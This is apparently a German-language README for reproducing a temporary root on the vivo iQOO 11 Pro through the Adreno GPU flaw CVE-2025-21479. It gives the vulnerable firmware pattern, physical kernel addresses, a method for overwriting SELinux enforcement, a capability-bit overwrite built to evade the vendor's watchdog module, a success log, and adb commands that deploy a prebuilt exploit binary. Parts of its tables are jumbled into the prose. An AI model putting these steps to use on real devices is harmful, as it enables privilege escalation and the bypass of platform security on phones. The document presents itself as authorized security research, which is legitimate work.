
CVE-2025-21479 (Qualcomm Adreno GPU) Reproduktionshinweise für vivo iQOO 11 Pro (PD2254) - autorisierte Forschung
Autorisierte Sicherheitsforschung am eigenen Gerät. CVE-2025-21479 ist eine öffentlich bekannte, bereits behobene (2025-08), in der CISA-KEV gelistete Qualcomm-Adreno-GPU-Schwachstelle. Dieses Dokument beschreibt den vollständigen Ablauf und die endgültige Bereitstellung der Replikation eines temporären Roots auf dem iQOO 11 Pro.
and $04, $12, 0x3 der v675-Firmware (Patch-Version: 0x7), die es Benutzermodus-Befehlsströmen ermöglicht, Berechtigungsprüfungen zu umgehen, privilegierte GPU-Operationen auszuführen (SMMU-Seitentabellen-Übernahme) und so letztlich beliebige physische Speicherzugriffe zu erreichen| Projekt | Wert |
|---|
Die Android-16-Firmware (16.3.10.1) ist bereits gepatcht; diese Replikation funktioniert nur unter Android 15 (15.2.12.2).
a740_sqe.fw aus dem OTA-Vollpaket: 75.380 Bytes; Suche nach dem verwundbaren Befehlsmuster 0300 422a (and $04,$12,0x3) ergab 3 Treffer → nicht gepatcht_text=0xffffffc008000000, _stext=0xffffffc008010000, swapper_pg_dir, selinux_state, init_task_stext fixiert bei 0xa8010000 (PHYS_OFFSET=0xA8000000, SM8550-Standardlayout), auf VMLINUX-Seite bestätigt unter 0xffffffc008010000selinux_state.enforcing=0. Verifiziert, dass der PD2254-A15-Kernel CONFIG_SECURITY_SELINUX_DEVELOP=y enthält (kallsyms enthält sel_write_enforce/enforcing_setup); enforcing_enabled() liest das Feld zur Laufzeit → Schreiben wirkt, getenforce zeigt Permissive0xfebeb000-Cluster + benachbarte 2-4-GB-Kandidaten + spärlich verteilte Hochbereichs-Kandidaten von 5-11 GB → deutlich höhere Trefferquotevr.ko (Modul in vendorboot eingebettet) tötet über kprobe/tracepoint-Hooks + einen Watchdog-Thread jeden uid=0-Prozess, und das Modul versteckt sich selbst und prüft vermagic. Daher kein Null-UID, sondern physisches Überschreiben der Capability-Bits von cred (uid bleibt 2000 + alle Caps + PR_SET_KEEPCAPS/) → vollständige Capability-Menge bleibt über exec hinweg erhalten, entspricht Root, ohne den Watchdog auszulösen
Erfolgslog (erster Lauf, Gerät anfangs Enforcing, über den physischen Schreibpfad für enforcing):
phyaddr: 0xfebeb000 (attempt 1/27) # Spray-Kandidat getroffen
GPU R/W ready # Beliebiger physischer Lese-/Schreibzugriff hergestellt
found _stext at 0xa8010000 # KASLR-Leak (Scan-Pfad; bei explizitem CHEESE_STEXT_PA wird diese Zeile nicht ausgegeben)
FW symbols resolved
stext = 0xa8010000 # physisches _stext = VA - 0xffffffc000000000 + 0xA8000000
SELinux enforcing overwrite verified (readback=1 enforce=0)
self creds: full caps granted (uid=2000 kept, watchdog dodge)
root shell (uid=2000, full caps kept)...
Bei einem zweiten Lauf in derselben Sitzung (SELinux bereits permissiv) lautet die Zeile
SELinux already permissive.
# Nach dem Flashen von Android 15 (15.2.12.2) auf dem Gerät:
adb push cheese /data/local/tmp/
adb shell chmod 755 /data/local/tmp/cheese
adb shell CHEESE_STEXT_PA=0xa8010000 /data/local/tmp/cheese
# Danach ist die aktuelle adb-Shell-Sitzung eine Root-Shell (uid=2000 + volle Caps), SELinux im Permissive-Modus
Umgebungsvariablen:
Automatische Wiederholung: bash cheese_auto.sh (Schleifenausführung, Erkennung von Offline-Neustarts, Protokollierung in Dateien).
vr.ko tötet uid=0-Prozesse und das Modul versteckt sich selbst; keine Persistenz / KernelSU-Integration (KernelSU-Modul kann wegen nicht exportierter Kernel-Symbole nicht per insmod geladen werden, siehe Anhang)cheese: Kompiliertes Artefakt (aarch64-Android-ELF, NDK r28, Binärbereitstellung, Quellcode nicht öffentlich)cheese_auto.sh: Skript für automatische WiederholungREADME.md: Dieses Dokumentlib/modules/5.15-gki/vr.ko in vendorboot.img (389 KB)Dieses Repository dient ausschließlich Sicherheitsforschung und Bildungszwecken; alle Tests wurden auf dem eigenen Gerät des Autors durchgeführt. Bitte nur im rechtlich autorisierten Rahmen verwenden; die Verwendung erfolgt auf eigene Verantwortung.
| Gerät | vivo iQOO 11 Pro (PD2254 / V2254A) |
| System | Android 15, PD2254B_A_15.2.12.2.W10 |
| Kernel | 5.15.178-g3dc7c01077b8-dirty |
| SoC | Snapdragon 8 Gen 2 (SM8550 / kalama) |
| GPU | Adreno 740, Firmware a740_sqe.fw v675 (verwundbare Version) |
SECBIT_KEEP_CAPSCHEESE_ZERO_IDS=1 für den alten Pfad (UID auf null gesetzt; vivo tötet dann, nur für Debugging)| Verifizierungspunkt | Ergebnis |
|---|
getenforce | Permissive |
/sys/fs/selinux/enforce | 0 |
| Prozess-Capabilities | CapEff=ffffffffffffffff (vollständiger Capability-Satz) |
| Root-Shell | Wechsel in sh, insmod / Lesen und Schreiben beliebiger Dateien möglich |
| Variable | Funktion |
|---|
CHEESE_STEXT_PA | Gibt die physische Adresse von _stext an (Standard 0xa8010000, automatischer Rückfall auf Scan bei fehlgeschlagener Validierung) |
CHEESE_ATTEMPT | Gibt den Index des Kandidaten für die physische Adresse an |
CHEESE_ROUNDS | Mehrere automatische Wiederholungsrunden |
CHEESE_NO_RETRY | Deaktiviert automatische Wiederholung |
CHEESE_ZERO_IDS | Setzt bei 1 zusätzlich uid/gid auf null (altes Verhalten; löst vivo-Watchdog aus, nur für Debugging) |
ROOT_CMD | Führt nach der Rechteausweitung direkt einen angegebenen Befehl aus (in Kombination mit dem cap_capset-Kaltpatch-Pfad) |